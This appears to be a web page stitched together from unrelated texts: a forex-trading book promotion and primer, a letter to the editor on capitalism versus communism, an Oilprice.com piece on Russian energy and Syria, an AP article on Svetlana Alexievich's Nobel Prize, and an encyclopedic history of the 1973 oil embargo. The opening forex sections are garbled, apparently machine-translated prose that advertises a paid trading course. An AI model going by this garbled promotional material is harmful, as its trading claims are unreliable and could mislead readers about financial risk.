My book, "Secrets of the trade Reported by Professional Trader or what B. Williams, E. Nayman From Traders have hidden" is the development of this particular school of practical training are likely to operate a Forex dealer.


Hardlyis any object to the fact that B. Williams Forex intimacy revealed to them free. Nor did he provide the disclosure to 100% after they pay.


In all its glory, Williams had a sufficient knowledge;


& # 8211; To share some of his secrets in his "Trading Chaos";


& # 8211; To share some of his secrets of paid training;


& # 8211; Do not share some of his secrets for less.


My book, "Secrets of the trade Reported by Professional TraderOr what B. Williams and E. Nayman From Traders have hidden "is dedicated to teaching, as are Williams correctly decoded the secret methods to ensure a successful Forex trading skills. Each of my book is 20 chapters is permeated by a common logic in the search for significant differences in the literature on forex and making my own technique of currency trading.


B. Williams put in a position to analyze the ten currencies pairs (140-bar of each story), whichwithin ten minutes, but in no way, as I explained how to explain that it is possible for any wide-dealer, assuming my monitor is a 3-single currency (see: "Ally and enemy currency").


B. Williams sings his alligator magic, while I and disclosed its problems by eliminating, for example, plus the addition of a MA233. This shall display the full potential of four travel options currency: up / down, up MA233, up / down in MA233.


B. WilliamsList a stop-loss to a "security buffer", while me and show its weaknesses eliminated as an alternative, complete with my own work.


B. Williams trade volume coupled holding the policy of revolutionary resistance, while I turn the volume on business platforms Metatrader (thanks to the consortium of banks) are misleading and give you my level of true / false injury to cite criteria. Well, in terms of new business, I see how you can be a loser, even whenTrade like everyone else and offer my style of trading online news.


(See continuation of this article with the name of Secret Forex. Forex literature as 90-95% of traders lose their deposit. (Part II)


Full text of this article and photos of examples http://www. masterforex-v. su/


If you are trained to master Forex Trading System-V – Techniques of visiting a new and efficient trading in the Forex world http://www. masterforex-v. su/


Forex Secret – Forex Literature as losing 90-95% of the distributors of their deposit (part I)


With a growing interest in the forex market, there are new entrants into the fray, to be educated about the pitfalls of the market. Those who have experience when it comes to exchange rates will notice that the forex market offers a great opportunity to make a profit. It provides a kind of flexibility and accessibility that the stock market does not explain its growing number of operators.


The foreign exchange market explodesPopularity, it seems that everyone wants a part of it. The forex market was once just a plaything of the elite company, but is now being expanded and will always be a viable option for those who earn additional income on the side. Some dealers have been so successful that they have left the old job and am happy to trade the forex market every day. Even those who handle idea what forex is to buy her every time a bank exchange. This is because your bank buysits currency on the Forex market.


Forex Knowledge


If you intend to join the madness that the foreign exchange market, you should better know the basics first. While there are more than 30 currencies that are in the market, there are five characteristics that are at the base. These are the U. S. dollar, euro, Japanese yen, sterling and Swiss franc. The market does the coupling of two currencies against each other and with their assessment. So you can have the pound as the basisCoin with a value of 1 and calculated the U. S. dollar against the pound.


With the knowledge of the Forex Exchange Rates


One of the main reasons why most people in the forex market to decide on options like the stock is due to its accessibility for all day. If someone has a job, probably not by their actions as they want, because this market should be up to the opening hours for most people working in their use. But as the Forex is open 24 hours a day, new entrants in their degree ofThe decisions and their options in view of the evening when he finished his work.


Moreover, unlike stock markets, the Forex market allows people with limited knowledge and means to control a large amount of money through the process of using. For example, you can get a broker that gives you a leverage of 100:1. This means that with $ 50, you can be worth $ 5,000 in foreign currency to be controlled in a very profitable investment. One problem is thatpotential losses are much greater. This means that the use in fact only a viable option for those who have enough experience to be a Forex position to make such decisions.


Although not necessary, have an enormous amount of knowledge on exchange rates in order in the forex market, it is highly desirable that you do. Otherwise, you might as well in a deep financial hole that may be difficult to dig to find out. Dealers who areexperience of patients and exchange rates can be a very healthy second income from forex market to make, though.


With the knowledge of the Forex Exchange Rates


If you have any advice forex trading business for a while and it is possible that a deep interest in developing for them, then see this as a brief introduction to this


The forex market is the kind of place where people conduct their business transactions. In the world of currency trading, trading currencies of people. Buyers are at the end of the purchase transaction, while sellers are the end of the transaction for the sale. Buyer and sellerare busy doing everything during the trading hours of shops, all for a single purpose in mind – and this is a good profit from their investment.


Forex Knowledge


Every single day you can reach the commercial transactions in the forex market by trillions of dollars. This is how big the field of currency trading worldwide. No wonder so many people on this occasion it will be very attracted to wealth. There are people who make millions of dollars in profits from the saleand selling currencies in the forex market. The principle of trade is very easy to understand and easy. If you want to buy a currency, you must base such a decision, hoping that the value of that currency will be higher by the time you sell. This simple principle before your eyes, you are required to make a profit.


The knowledge of the Forex market is the positive experience of the profits of Forex trading Equivalent


To be truly successful in forex trading, you must not only knows very well the purchase and sale of alltrading activities, you should also very experienced with all the forex market and its trends in behavior. Familiarize yourself with all sorts of technical jargon in the industry. Learn what the ups and downs of the cases fall in the market and the causes of certain levels of exchange rates. If you do a search on-line complete, you can find some good sources of information for every bit of detail, what you learn about Forex Trading.


AfterThey are good with the right knowledge you need to have an extensive experience on trade. You can practice an account or you can win your actual experiences and real live trading operations. Only one should lose a bit 'of your investment at the start to be prepared. If you use the lucky break in early trading your game, then good for you. But do not depend too much on luck, because this is a very rare thing to happen in forex tradingBusiness.


Once you have all the essential knowledge and experience, you are now ready to go full speed the way for a very successful currency trading.


The knowledge of the Forex market is the positive experience of the profits of Forex trading Equivalent


Mensaje de navegación


Letters to the Editor


It is inconceivable that many intellectuals are still clinging tenaciously to the notion that communism-cum-Marxism, is a viable alternative to capitalism. It should be understood that empirical evidence has shown that in spite of its many shortcomings, capitalism is definitely more enduring than its counterpart, communism/Marxism. The precipitous collapse of communism in the Soviet Union is a good example of the tenuous framework of communism.


It is well known that communism is based on the Marxist theory that advocates a classless, egalitarian society in which property and the means of production are owned collectively. Thus, the concept of individualism is non-existent. However, the notion of a classless, egalitarian society is a hollow theoretical construct that was never practised by its foremost proponent, the USSR.


In the Soviet Union, communism meant totalitarianism, in which the state owned and controlled property and the means of production. The idea of a classless, egalitarian society was always an illusion. It is well known that the Communist Party was the ruling class that dominated the proletarian or working class.


Many intellectuals are led to believe that what happened in the Soviet Union was a perversion of Marxism, and that Marxism in its pure form is still a viable alternative to capitalism. But these intellectuals fail to realise that the concept of Marxism is flawed and impractical. They fail to realise that human beings are basically individualistic. Therefore, they cannot be herded like horses or cattle into a collective corral.


It should be noted that individualism can be repressed, but it cannot be crushed into a state of oblivion. Sooner or later, it will start to emerge and take root.


It is that yearning for individualism that finally brought about the demise of communism in the USSR and it is my firm opinion that the potency of individualism will finally burst forth in other communist countries such as China and Cuba. As a matter of fact, these totalitarian states have started to acknowledge the inevitability of the capitalist creed. A vibrant capitalist class has started to emerge in China, and the Cuban state is now allowing individuals to buy and sell in a capitalist style marketplace.


It is only a matter of time before the rising capitalist class in these countries demand their rightful place in the Government.


It is true that in recent years capitalism has become somewhat of a dirty word with sinister connotations. And it is also true that with the demise of communism in the USSR, capitalism has been linked with sheer greed, exploitation, and insatiable profiteering. Nevertheless, with proper governmental regulations, the dark side of capitalism can dissipate significantly.


Even with all its flaws, it is still a viable free enterprise system in which the individual has the freedom to invest, innovate, and take chances in the marketplace. And there is no doubt that innovation and risk-taking have benefitted human beings over the years.


If former Prime Minister of Britain Winston Churchill were alive today, instead of making his profound comment about democracy, he would have focussed his remark on capitalism by saying: "Indeed, it has been said that [capitalism] is the worst form of [economic system], except all those other forms that have been tried from time to time."


President Putin’s recent moves in the Middle East—to shore up Bashar al-Assad’s regime in Syria through deployment of combat aircraft, equipment, and manpower and build-out of air-, naval-, and ground-force bases, and the agreement in the last week with Iran, Iraq, and Syria on intelligence and security cooperation—could contribute to Russian efforts to combat the myriad negative pressures on Russia’s vital energy industry.


Live by Energy…


Energy is the foundation of Russia, its economy, its government, and its political system. Putin has highlighted on various occasions the contribution Russia’s mineral wealth, in particular oil and natural gas, must make for Russia to be able to sustain economic growth, promote industrial development, catch up with the developed economies, and modernize Russia’s military and military industry.


Even a casual glance at the IMF’s World Economic Outlook statistics for Russia shows the tight correlation since 1992 between GDP growth on the one hand and oil and gas output, exports, and prices on the other (economic series available here ). According to the IMF’s 2015 Article Iv Consultation-Press Release and Staff Report. published August 3. oil and natural gas exports comprised 65 percent of exports, 52 percent of the Federal government budget, and 14.5 percent of GDP in 2014. Including their domestic contribution, hydrocarbons represent


While oil and natural gas are crucial to Russia, Russia’s crude and natural gas are crucial to its neighbors on the Eurasian landmass. Russia supplied about 30 percent (146.6 bcm) of Europe’s natural gas in 2014, and about 25 percent of its crude (3.5 mmbbl/day) in 2013. Russia’s oil and natural gas are also important to its Asian and Central Asian neighbors.


It is not only the commodities that make Russia crucial, but its massive land-based infrastructure for their distribution throughout the Eurasian landmass. As Tatiana Mitrova, head of the oil and gas department, Energy Research Institute, Russian Academy of Sciences, pointed out regarding natural gas in The Geopolitics of Russian Natural Gas :


“Russia has a unique transcontinental infrastructure in the heart of Eurasia (150,000 km of trunk pipelines), which also makes it a backbone of the evolving, huge Eurasian gas market (which could include Europe, North Africa, the Commonwealth of Independent States (CIS), Caspian Sea region, and Northeast Asia). Control over the transportation assets in this region together with vast gas reserves make Russia the key element of this new market.”


The land-based oil distribution network is smaller, but also important. The 4,000 km Druzhba pipeline delivers about 1 mmbbl/day of crude to Europe—about 30 percent of total shipments to Europe. In the Far East, Rosneft shipped 22.6 million tons of crude to China in 2014 through the East Siberian Pacific Ocean (ESPO) pipeline.


The Russian government continues to seek to extend and expand the natural gas distribution infrastructure—into Europe, with various proposed pipeline projects (Nord Stream 2, Turkish Stream 2, 3, and 4, South European Pipeline), and into China, with two large pipeline projects, Power of Siberia Pipeline (to supply China from East Siberia), and the proposed Altai pipeline (to supply China from West Siberia).


…Death by Energy


In the last few years, the threats to Russia’s energy industry have multiplied and intensified. They pose an existential threat to the industry and therefore to the Russian economy:


& # 8211; The revenues Russia can earn from its crude and natural gas exports face intense pressure. The Saudi decision to let the market set prices and to pursue market share, has led to steep declines in crude and petroleum product prices. The decision also has impacted natural gas export prices negatively, since, for Russia’s long-term supply agreements, they wholly or partially are indexed to oil prices. The transition in Europe to hybrid natural gas pricing models (which take European spot hub prices into account) also has pressured natural gas pricing. (Natural gas data from Gazprom).


(Click to enlarge)


Adding to the revenue pain, natural gas export volumes have been falling, according to Gazprom (which has a monopoly on pipeline exports), as have domestic volumes within Russia:


(Click to enlarge)


It is therefore not surprising that the aforementioned IMF Article Iv Consultation-Press Release and Staff Report projected sharp declines in 2015 and 2016 from 2014 levels for oil export revenues ($109.8 billion and $96 billion respectively) and natural gas export revenues ($12 billion and $14.3 billion respectively).


(Click to enlarge)


Since these IMF projections are based on $60.1 and $65.8 per barrel prices in 2015 and 2016, oil export revenues will undershoot these pessimistic IMF projections, as crude prices are projected to stay below $60 through 2016 (EIA estimates for Brent are $54.07 and 58.57 in 2015 and 2016 respectively).


& # 8211; The U. S. and European Union’s decisions to impose—and maintain—sanctions on Russia after its invasion and annexation of Crimea and invasion and informal annexation eastern Ukraine will pile more pressure on the Russian energy industry. They include bans on financing for and the supply of critical equipment and technology to important Russian energy projects. Novatek and its partners Total and Chinese National Petroleum Company still lack $15 billion of the $27 billion needed to finance the Yamal LNG plant. Denis Khramov, Russia’s deputy Minister of Natural Resources, said September 28 at a conference in Russia’s Far East that Rosneft and Gazprom are delaying some offshore drilling by two to three years because of sanctions and low oil prices. The sanctions are also impeding Gazprom’s ability to develop the Chayandinskoye and Kovyktinskoye fields in eastern Siberia, from which it plans to supply natural gas to China under the bilateral $400 billion, thirty year deal signed in 2014.


& # 8211; Following the Russian invasion of Crimea and eastern Ukraine, The European Union is now even more determined to reduce its dependence on Russia for natural gas and to force Gazprom submit to EU competition rules. Europe has sought and continues to seek alternatives Russian natural gas (among them, U. S. LNG and Iranian pipeline and/or LNG). The European Commission, the European Union’s executive body, has refused to bless Gazprom’s proposed 55 bcm/year Nord Stream 2 natural gas pipeline project, citing existing surplus Gazprom pipeline capacity into Europe and insufficient future demand for Russian natural gas. Also, the EU Commission in April charged Gazprom with violating the EU’s anti-trust laws for anti-competitive practices and unfair pricing in Central and Eastern Europe. If found guilty, Gazprom could face substantial fines of around $1 billion. Even if Gazprom avoids fines and manages to reach a settlement with the EU, as it hopes to do, its European market share and pricing will remain under pressure into the future.


& # 8211; The emergence of the U. S. along with Canada, as powerful crude, NGL, and natural gas producers is also a major concern for the Russian economy. This has transformed the U. S. from a market for Russian crude and natural gas (via LNG) to a global competitor. If, as seems increasingly likely, the ban on crude exports is lifted, U. S. crude will compete with Russian crude in several key markets. It would also force foreign suppliers to seek other markets for all or part of the exports they previously sent to the U. S. This in turn would intensify competition among these crude exporting countries for share in those markets. In regard to natural gas, its explosive output growth in the U. S. undercut Gazprom’s rationale for its Baltic LNG project (10 mtpa), turned the U. S. into a major (potential) LNG competitor in global LNG import markets, and, via the U. S. toll - and Henry Hub - pricing model, weakened Gazprom’s ability to insist on oil-indexed, long-term contracts.


Saving Russian Energy (and Russia) through the Middle East?


Putin’s moves in the Middle East could help Russia address the impact of these threats to the Russian energy industry. They potentially enhance the attractiveness of Russian crude and natural gas supplies compared to those from Saudi Arabia and its Gulf Arab allies.


In the selection of crude and natural gas suppliers, security is a key consideration for importers. Wary of U. S. naval power, the Chinese, for example, prefer pipeline natural gas supplies over seaborne LNG supplies. Importers therefore must take into consideration the potential threats to transport. In this critical area, Russia enjoys a decided advantage over Saudi Arabia and the Gulf Arab producers, which depend on sea transport through the Persian Gulf and the Red Sea to ship their oil and LNG.


Each of the three routes from these two bodies of water passes through a “choke point” (from the Red Sea, through the Suez Canal to Europe and through the Mandeb Strait to Asia, from the Persian Gulf through the Strait of Hormuz). By adding an airbase to their military presence in Syria, the Russians—coordinating with Iran, Syrian President Assad, and eventually possibly Iraq—would have the capability to disrupt shipments from Persian Gulf and Red Sea terminals.


Russia’s export channels are less susceptible to disruption. With the exception of LNG exports to Asia from Sakhalin, Russia sends natural gas to its customers via pipeline. About 70 percent of Russia’s seaborne oil exports are susceptible to choke points (shipments from two ports on the Gulf of Finland through the Baltic Sea to the Atlantic and one port on the Black Sea through the Turkish Strait/Bosporus to the Mediterranean), while 30 percent are not (pipeline shipments to Europe and ESPO pipeline shipments to the port of Primorsk near Vladivostok).


Putin’s moves also are strengthening Russia’s influence with OPEC. Russia already has extensive and close ties with Iran and Venezuela, and is now laying the basis for such ties with Iraq. Putin has aligned Russia with OPEC’s have nots–the members lacking financial resources to withstand low crude prices for an extended period and that have objected to Saudi policies (Iran, Iraq, Angola, Nigeria, Libya, Algeria, Ecuador, and Venezuela)—against the haves (Saudi Arabia, Kuwait, the UAE, and Qatar). He has continually supported Venezuelan President Maduro’s calls for an emergency OPEC meeting on prices and his efforts to persuade Saudi Arabia to reverse its policy. Most recently, in the beginning of September, Putin told Maduro that the two countries “must team up to shore up oil prices”.


In addition, Russia’s deputy prime minister in charge of energy policy, Arkady Dvorkovich, in the beginning of September made comments that, in tone and substance, mocked Saudi policy, saying that “OPEC producers are suffering the ricochet effects of their attempt to flush out rivals by flooding the world with excess output,” expressing doubt that OPEC members “really want to live with low oil prices for a long time,” and implying that Saudi policy is irrational.


Indeed, Russia can be seen as maneuvering to split OPEC into two blocs, with Russia, although not a member, persuading the “Russian bloc” to isolate Saudi Arabia and the Gulf Arab OPEC members within OPEC. This might persuade the Saudis to seek a compromise with the have nots.


A strategic alliance with Iran and Iraq offers Putin two more potential avenues to pressure the Saudis. They can test Saudi determination to defend their market share at any price and its wherewithal financially to do so. Iran claims it can raise crude output by one million barrels within six or so months of the lifting of sanctions. The Saudis may be calculating that Iran must first rehabilitate its oil fields and that Iran, cash poor, cannot do so quickly. If this is the case, Russia could step in, offer Iran financing, and force the Saudis to contemplate prices staying lower longer than they anticipated and therefore continuing pressure on their economy.


Russia also could cooperate with Iran and Iraq to take market share from Saudi Arabia in the vital Chinese market. As a recent Bloomberg article pointed out, Saudi Arabia, Iran, Russia, Iraq and other countries are vying intensely for sales to China, the second largest import market and the major source of demand growth in coming years. Coordinating their pricing and consistently offering the Chinese prices below the Saudi price, they could seek to win market share. Such a price war would pressure the competitors’ Monedas


Since the Russians allow the Ruble to float, Iran maintains an informal and unofficial peg for its Rial to the US$, and Iraq has indicated it is willing to adjust its peg if necessary, while the Saudis are committed to the Riyal’s peg to the US$, Russia, Iran, and Iraq would have any advantage over Saudi Arabia. To the extent that Iran and Iraq allowed their currencies to adjust, Russian, Iranian, and Iraqi revenues in local currency terms would not decline as much as Saudi revenues fixed in US$ (and might even increase) as their currencies depreciated.


Each of these opportunities offers the possibility to address the pressures on the Russian energy industry. However, Putin will have to play his cards carefully. Played heavy-handedly, he could intensify fears in Europe of excessive dependence on Russian energy supplies and awaken such fears in China. This could lead the Europeans and Chinese to search for other suppliers. In addition, mismanaged confrontation with the U. S. and Europe in and over Syria could lead to broadening and strengthening of economic and financial sanctions. Moreover, neither Iran nor Iraq will want to become overly dependent on Russia, which lacks the resources they need develop their energy industries.


Finally, the opportunities assume Putin’s gambits in Syria and with Syria, Iran, and Iraq in intelligence and security cooperation will succeed. And this, given the Soviet experience in Afghanistan and Putin’s experience in eastern Ukraine, is far from certain.


By Dalan McEndree for Oilprice. com


Svetlana Alexievich of Belarus wins Nobel literature prize


STOCKHOLM (AP) -- Belarusian writer Svetlana Alexievich won the Nobel Prize in literature on Thursday for works that chronicled the great tragedies of the Soviet Union and those that followed in the wake of its 1991 collapse.


The Swedish Academy cited the 67-year-old journalist and prose writer "for her polyphonic writings, a monument to suffering and courage in our time."


Alexievich, the 14th woman to win the literature award since 1901, used the skills of a journalist to create literature chronicling World War II, the Soviet war in Afghanistan, the 1986 Chernobyl nuclear disaster, and social problems like attempted suicides after the Soviet Union disintegrated.


The academy's permanent secretary, Sara Danius, praised Alexievich as a great and innovative writer who has "mapped the soul" of the Soviet and post-Soviet people.


"She is offering us new and interesting historical material and she has developed a particular writing style, as well a new literary genre," Danius told The Associated Press. "She has said many times that 'I'm not interested in events, the history of events, I'm interested in the history of emotions' and that's kept her busy for the past 40 years."


Like many intellectuals in Belarus, Alexievich supports the political opponents of authoritarian President Alexander Lukashenko, who is up for re-election on Sunday. Because of her criticism of the government she has periodically lived abroad — including in Italy, France, Germany and Sweden — but now lives in Minsk, the Belarusian capital.


Alexievich told The AP she had not yet received any congratulations from the president, whom she has pithily criticized for years.


"It'd be interesting to see what he's going to do in the situation," she said, speaking on the landing outside her apartment in a Soviet-era block.


Alexievich said she was at home "doing the ironing" when the academy called with the news and that she felt "joy and anxiety at the same time: How am I going to keep this up?"


Her first book, "War's Unwomanly Face," published in 1985, was based on the previously untold stories of women who had fought against Nazi Germany. It sold more than 2 million copies.


Her books have been published in 19 countries, with at least five of them translated into English. She also has written three plays and the screenplays for 21 documentary films.


Speaking to Swedish broadcaster SVT, Alexievich said winning the award left her with "complicated" emotions.


"It immediately evokes such great names as (Ivan) Bunin, (Boris) Pasternak," she said, referring to Russian writers who have won the Nobel Prize for literature. "On the one hand, it's such a fantastic feeling. But it's also a bit disturbing."


Asked what she was going to do with the 8 million Swedish kronor (about $960,000) in prize money, she said it would allow her to write more.


"I do only one thing: I buy freedom for myself. It takes me a long time to write my books, from five to 10 years," she said. "I have two ideas for new books, so I'm pleased that I will now have the freedom to work on them."


Born on May 31, 1948, in the western Ukrainian town of Ivano-Frankvisk to two village schoolteachers, Alexievich studied journalism in Belarus, which at the time was part of the Soviet Union. She worked at newspapers near the Polish border and in Minsk while collecting material for her books.


In 1989, she published "Zinky Boys: Soviet Voices from the Afghanistan War," a book about the war that had been concealed from the Soviet public for 10 years.


Her 1993 book "Enchanted with Death" focused on attempted suicides resulting from the downfall of communism, as people who felt inseparable from socialist ideals were unable to accept a new world order.


In 1997, Alexievich published "Voices from Chernobyl: Chronicle of the Future." The book, which was released in English two years later, is not so much about the nuclear disaster as it was about the world after it: how people adapt to a new reality, living as if they had survived a nuclear war.


The Swedish Academy insists its selections are based on literary merit alone. But its decisions have often sparked political reactions, particularly during the Cold War.


The first Soviet citizen to win the literature prize was Pasternak in 1958, but Soviet authorities denounced him and refused to let him go to Stockholm to collect the award.


Soviet dissident Aleksandr Solzhenitsyn also didn't come to Stockholm after he won the Nobel literature prize in 1970, fearing that Soviet authorities wouldn't let him back in. He accepted the award four years later after he was exiled from the Soviet Union.


The Nobel academy has also honored writers who were viewed favorably by Soviet leaders, including Mikhail Sholokhov in 1965.


This year's Nobel announcements continue with the Nobel Peace Prize on Friday and the economics award on Monday. The awards in medicine, physics and chemistry were announced earlier this week.


All awards will be handed out on Dec. 10, the anniversary of prize founder Alfred Nobel's death in 1896.


Associated Press writers Yuras Karmanau in Minsk and Nataliya Vasilyeva in Moscow contributed to this report.


The world oil shock of 1973 began in earnest on October 17, 1973, when Arab members of the Organization of Petroleum Exporting Countries (OPEC), in the midst of the Yom Kippur War, announced that they would no longer ship petroleum to nations that had supported Israel in its conflict with Egypt—that is, to the United States and its allies in Western Europe. At around the same time, OPEC-member states agreed to use their leverage over the world price-setting mechanism for oil to quadruple world oil prices. The complete dependence of the industrialized world on oil, much of which resided beneath the surface of Middle Eastern countries, became painfully clear to the U. S. Western Europe, and Japan, marking a watershed requiring Western policymakers to respond to international economic constraints that were qualitatively different from those faced by their predecessors.


Origins of the 1973 world oil shock


World competition over resources


The Arab-Israeli conflict triggered an energy crisis in the making. Before the embargo, the industrialized West, especially the United States, had taken cheap and plentiful petroleum for granted. Between 1945 and the late 1970s, the West and Japan consumed more oil and minerals than had been used in all previous recorded history. Oil consumption in the United States had more than doubled between 1950 and 1974. With only 6 percent of the world's population, the U. S. was consuming 33 percent of the world's energy.


The fall of the dollar


U. S. economic policies had an important effect on the crisis. While the OPEC boycott was an immediate trigger historians increasingly see the crisis as being routed in American economic policies.


Oil, especially from the Middle East, was paid for in United States dollars, at prices fixed in dollars. U. S. President Richard Nixon had inherited an economy in which growth was already sluggish, in which inflation was already troubling. By the summer of 1971, the president was under strong public pressure to act decisively to end the dilemma of rising prices and general economic stagnation (see "stagflation"). Nixon thus released the dollar from the fluctuating gold standard that had controlled its worth since the signing of the Bretton Woods pact at the end of World War II, allowing its value to fall in world markets. The United States suspended convertibility of the dollar on August 15, 1971; the dollar was devalued by 8 percent in relation to gold in December 1971, and devalued again in 1973.


The devaluation resulted in increased world economic and political uncertainty. Concurrently, in the early 1970s, the fall in the dollar went along with a fall in the price in dollars for oil. This improved the situation of U. S. industrialists in relation to European and Japanese competition. But the de-valorization, and then devaluation, of the dollar crystallized the unease of raw materials producers in the Third World who saw the wealth under their lands being reduced and their assets growing in a currency that was worth significantly less than it had been worth just quite recently. This set the stage for the struggle for control of the world's natural resources and for a more favorable sharing of the value of these resources between the rich countries and the oil-exporting nations of OPEC.


OPEC devised a strategy of counter-penetration, whereby it hoped to make industrial economies that relied heavily on oil imports vulnerable to Third World pressures. Dwindling foreign aid from the United States and its allies, combined with the West's pro-Israeli stance in the Middle East, angered the Arab nations in OPEC.


Founding of OPEC


OPEC consisted of thirteen nations, including seven Arab countries but also other major petroleum-exporting countries in the developing world like Iran and Venezuela. It had been formed in 1960 to protest pressure by major oil companies (mostly owned by U. S. British, and Dutch nationals) to reduce oil prices and payments to producers. At first it had operated as an informal bargaining unit for the sale of oil by Third World nations. It confined its activities to gaining a larger share of the revenues produced by Western oil companies and greater control over the levels of production. However, not until the early 1970s did it begin to display its strength.


The Yom Kippur War


The persistence of the Arab-Israeli conflict finally triggered a response that transformed OPEC from a mere cartel into a formidable political force. After the Six Day War of 1967 the Arab members of OPEC formed a separate, overlapping group (Organization of Arab Petroleum Exporting Countries) for the purpose of centering policy and exerting pressure on the West over its support of Israel. Egypt and Syria, though not major oil-exporting countries, joined the latter grouping to help articulate its objectives. Later, the Yom Kippur War of 1973 galvanized Arab opinion. Furious at the emergency re-supply effort that had enabled Israel to withstand Egyptian and Syrian forces, the Arab world imposed the 1973 oil embargo against the United States, Western Europe, and Japan. By the early 1970s the great Western oil conglomerates suddenly faced a unified bloc of producers.


As mentioned, the Arab-Israeli conflict triggered a crisis already in the making. As it turned out, the West could not continue to increase its energy use 5 percent annually, pay low oil prices, yet sell inflation-priced goods to the petroleum producers in the Third World. This was stressed by the Shah of Iran, whose nation was the world's second-largest exporter of oil and the closest ally of the United States in the Middle East at the time. "Of course [the world price of oil] is going to rise," the Shah told the New York Times in 1973. "Certainly! And how. You [Western nations] increased the price of wheat you sell us by 300 percent, and the same for sugar and cement. You buy our crude oil and sell it back to us, redefined as petrochemicals, at a hundred times the price you've paid to us. It's only fair that, from now on, you should pay more for oil. Let's say 10 times more.


Immediate economic impact of the embargo


The effects of the embargo were immediate. OPEC forced the oil companies to increase payments drastically. The price of oil quadrupled by 1974 to nearly $12 per 42 US gallon barrel (75 $/m³).


This increase in the price of oil had a dramatic effect on oil exporting nations. For the countries of the Middle East who had long been dominated by the industrial powers, were seen to have acquired control of a vital commodity. The traditional flow of capital reversed as the oil exporting nation's accumulated vast wealth. Some of the income was dispensed in the form of aid to other underdeveloped nations whose economies had been caught between higher prices of oil and lower prices for their own export commodities and raw materials amid shrinking Western demand for their goods. Much of it, however, fell into the hands of elites who reinvested it in the West or enhanced their own well being. Much was absorbed in massive arms purchases that exacerbated political tensions, particularly in the Middle East.


OPEC-member states in the developing world withheld the prospect of nationalization of the companies' holdings in their countries. Most notably, the Saudis acquired operating control of Aramco, fully nationalizing it in 1980. As other OPEC nations followed suit, the cartel's income soared. Saudi Arabia, awash with profits, undertook a series of ambitious five-year development plans, of which the most ambitious, begun in 1980, called for the expenditure of $250 billion. Other cartel members also undertook major economic development programs.


Meanwhile, the shock produced chaos in the West. In the United States, the retail price of a gallon of gasoline rose from a national average of 38.5 cents in May 1973 to 55.1 cents in June 1974. Meanwhile, New York Stock Exchange shares lost $97 billion in value in six weeks.


With the onset of the embargo, U. S. imports of oil from the Arab countries dropped from 1.2 million barrels (190,000 m³) a day to a mere 19,000 barrels (3,000 m³). Daily consumption dropped by 6.1 percent from September to February, and by the summer of 1974, by 7 percent as the United States suffered its first fuel shortage since the Second World War.


Underscoring the interdependence of the world societies and economies, oil-importing nations in the noncommunist industrial world saw sudden inflation and economic recession. In the industrialized countries, especially the United States, the crisis was for the most part borne by the unemployed, the marginalized social groups, certain categories of aging workers, and increasingly, by younger workers. Schools and offices in the U. S. often closed down to save on heating oil; and factories cut production and laid off workers.


Unlike any other oil-importing developed nation, Japan fared particularly well in the aftermath of the world energy crisis of the 1970s. Japanese automakers led the way in an ensuing revolution in car manufacturing. The large automobiles of the 1950s and 1960s were replaced by far more compact and energy efficient cars.


A few months later, the crisis eased. The embargo was lifted in March 1974 after negotiations at the Washington Conference, but the effects of the energy crisis lingered on throughout the 1970s. The price of energy continued increasing in the following year, amid the weakening competitive position of the dollar in world markets; and no single factor did more to produce the soaring inflation of the 1970s in the United States.


Response in the industrialized countries


Rationing of gasoline occurred in many countries, with motorists faced long lines at gas stations. In the U. S. drivers of vehicles with license plates having an odd number as the last digit were allowed to purchase gasoline for their cars only on odd-numbered days of the month, while drivers of vehicles with even-numbered license plates were allowed to purchase fuel only on even-numbered days. The rule did not apply on the 31st day of those months containing 31 days, or on February 29 in leap years (the latter never came into play as the restrictions had been abolished by 1976).


The U. S. government response to the embargo was quick, but of limited effectiveness. A national speed limit of 55 miles per hour was imposed to help reduce consumption. (This, incidentally, was claimed by some to have caused traffic fatalities to drop by 23 percent between 1973 and 1974.) President Nixon named William Simon as an official "energy czar," and in 1977 a cabinet-level Department of Energy was created, which led to the creation of the United States' Strategic Petroleum Reserve. The crisis was further exacerbated by government price controls in the United States, which limited the price of "old oil" (that already discovered) while allowing newly discovered oil to be sold at a higher price, resulting in a withdrawal of old oil from the market and artificial scarcity. The rule had been intended to promote oil exploration.


Year-round Daylight Saving Time was implemented: At 2:00 AM local time on January 6, 1974, clocks were advanced one hour across the nation; the move spawned significant criticism because it forced many children to commute to school before sunrise. As a result, the clocks were turned back on the last Sunday in October as originally scheduled, and in 1975 clocks were set forward one hour at 2:00 AM on February 23, the later date being adopted to address the aforementioned issue. The pre-existing daylight-saving rules, calling for the clocks to be advanced one hour on the last Sunday in April, were restored in 1976 (this date being changed to the first Sunday in April in 1987).


The crisis also prompted a call for individuals and businesses to conserve energy - most notably a sophisticated campaign by the Advertising Council using the tag line "Don't Be Fuelish." Many newspapers carried full-page advertisements that featured cut-outs which could be attached to light switches that had the slogan "Last Out, Lights Out: Don't Be Fuelish" emblazoned thereon.


The national banks of the western nations decided to sharply cut rates to encourage growth, deciding that inflation was a secondary concern. In retrospect this is considered an unfortunate decision that deepened and lengthened the adverse effects of the embargo.


Long-term effects of the embargo are still being felt. Public suspicion of the oil companies, who were thought to be profiteering or even working in collusion with OPEC, continues unabated (seven of the fifteen top Fortune 500 companies in 1974 were oil companies, with total assets of over $100 billion).


The energy crisis led to greater interest in renewable energy, especially wood heat and spurred research in solar power and wind power. It also led to greater pressure to exploit North American oil sources, and increased the West's dependence on coal and nuclear power.


As well, in Australia, heating oil ceased to be considered to be an appropriate winter heating fuel. This often meant that a lot of oil-fired room heaters that were popular from the late-1950s to the early-1970s were considered redundant. It also meant that some enterprising individuals designed aftermarket gas-conversion kits that let these heaters burn natural gas or propane.


But the initial moves toward more efficient automobiles and alternative sources of energy stalled as oil prices fell and memories of gasoline shortages of 1973 faded. The U. S. continues to use energy in amounts out of proportion to its population, U. S. automakers continue to oppose legislation that would force them to increase the fuel efficiency of automobiles (see, e. g. "SUV"), and the U. S. continues to respond to any threat to the supply of oil as a threat to its national security (see, e. g. Persian Gulf War).


For the handful of industrialized nations that were net energy exporters the effects of the oil crisis were very different. In Canada the industrial east suffered many of the same problems of the United States. In oil rich Alberta there was a sudden and massive influx on money that quickly made it the richest province in the federation. The federal government attempted to correct this imbalance through the creation of the government owned Petro-Canada and later the National Energy Program. These efforts produced a great deal of anger in the west producing a sentiment of alienation that has remained a central element of Canadian politics to this day. Overall the oil embargo had a sharply negative effect on the Canadian economy. The economic malaise in the United States easily crossed the border and increases in unemployment and stagflation hit Canada as hard as the United States despite Canadian fuel reserves.


